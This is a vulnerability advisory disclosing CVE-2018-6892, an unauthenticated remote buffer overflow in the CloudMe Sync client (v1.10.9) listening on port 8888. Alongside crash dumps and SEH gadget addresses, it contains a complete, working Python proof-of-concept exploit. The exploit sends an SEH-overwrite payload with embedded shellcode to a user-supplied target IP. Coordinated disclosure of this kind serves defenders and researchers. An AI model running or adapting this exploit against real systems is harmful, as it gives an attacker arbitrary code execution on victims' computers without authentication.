[+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CLOUDME-SYNC-UNAUTHENTICATED-REMOTE-BUFFER-OVERFLOW.txt
[+] ISR: Apparition Security         
[+] SSD Beyond Security Submission: https://blogs.securiteam.com/index.php/archives/3669

Vendor:
=============
www.cloudme.com

Product:
===========
CloudMe Sync <= v1.10.9

(CloudMe_1109.exe)
hash: 0e83351dbf86562a70d1999df7674aa0

CloudMe is a file storage service operated by CloudMe AB that offers cloud storage, file synchronization and client software.
It features a blue folder that appears on all devices with the same content, all files are synchronized between devices.

Vulnerability Type:
===================
Buffer Overflow

CVE Reference:
==============
CVE-2018-6892

Security Issue:
================
Unauthenticated remote attackers that can connect to the "CloudMe Sync" client application listening on port 8888, can send a malicious payload causing
a Buffer Overflow condition. This will result in an attacker controlling the programs execution flow and allowing arbitrary code execution on the victims PC.

CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8)

In Qt5Core:

00564DF1   . C74424 04 B822>MOV DWORD PTR SS:[ESP+4],22B8
00564DF9   . 890424         MOV DWORD PTR SS:[ESP],EAX
00564DFC   . FF15 B8738100  CALL DWORD PTR DS:[<&Qt5Network._ZN10QTc>;  Qt5Netwo._ZN10QTcpServer6listenERK12QHostAddresst

C:\>netstat -ano | findstr 8888
TCP    0.0.0.0:8888           0.0.0.0:0              LISTENING       15504
TCP    [::]:8888              [::]:0                 LISTENING       15504

Buffer Overflow:
================
EIP register will be overwritten at about 1075 bytes.

EAX 00000001
ECX 76F698DA msvcrt.76F698DA
EDX 00350000
EBX 41414141
ESP 0028D470
EBP 41414141
ESI 41414141
EDI 41414141
EIP 41414141

Stack Dump:
==========

(508.524): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll -
eax=00000000 ebx=00000000 ecx=41414141 edx=778f353d esi=00000000 edi=00000000
eip=41414141 esp=00091474 ebp=00091494 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

Exploitation is very easy as ASLR SafeSEH are all set to false making the exploit portable and able to work across different operating systems.
We will therefore use Structured Exceptional Handler overwrite for our exploit.

e.g.

6FE6909D  0x6fe6909d : pop ebx # pop esi # ret 0x20 |  {PAGE_EXECUTE_READ} [libstdc++-6.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\libstdc++-6.dll)
00476795  0x00476795 : pop ebx # pop esi # ret 0x20 | startnull {PAGE_EXECUTE_READ} [CloudMe.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\CloudMe.exe)
61E7B7F6  0x61e7b7f6 : pop ebx # pop esi # ret 0x20 |  {PAGE_EXECUTE_READ} [Qt5Gui.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\Qt5Gui.dll)

0day Exploit POC:
==============
import socket,struct

print 'CloudMe Sync v1.10.9'
print 'Unauthenticated Remote Buffer Overflow 0day'
print 'Discovery/credits: hyp3rlinx'
print 'apparition security\n'

#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")

ip=raw_input('[+] CloudMe Target IP> ')

nseh="\xEB\x06"+"\x90"*2                #JMP
seh=struct.pack('<L',0x61e7b7f6)        #POP,POP RET
junk="A"*2232+nseh+seh+sc+"B"*5600
payload=junk+nseh+seh+sc

def PwnMe(ip,payload):
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)       
    s.connect((ip,8888))
    s.send(payload)
    print 'Sending buffer overflow packetz'
    raw_input()

if __name__ == '__main__':
    PwnMe(ip,payload)

References:
============
https://www.cloudme.com/en/sync#
https://blogs.securiteam.com/index.php/archives/3669

POC Video URL:
=============
https://vimeo.com/255280060

Network Access:
===============
Remote

Severity:
=========
High

Disclosure Timeline:
=============================
SSD Vulnerability submission: January 17, 2018
Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:

https://blogs.securiteam.com/index.php/archives/3669
February 11, 2018 : Public Disclosure

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